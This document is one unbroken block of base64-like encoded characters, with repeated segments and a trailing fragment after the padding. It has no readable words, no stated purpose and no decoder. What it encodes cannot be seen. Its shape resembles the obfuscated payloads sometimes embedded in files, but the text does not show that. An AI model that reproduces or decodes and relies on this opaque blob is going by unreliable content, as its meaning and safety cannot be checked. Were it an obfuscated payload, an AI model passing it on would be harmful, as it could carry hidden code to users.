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alVnRPIq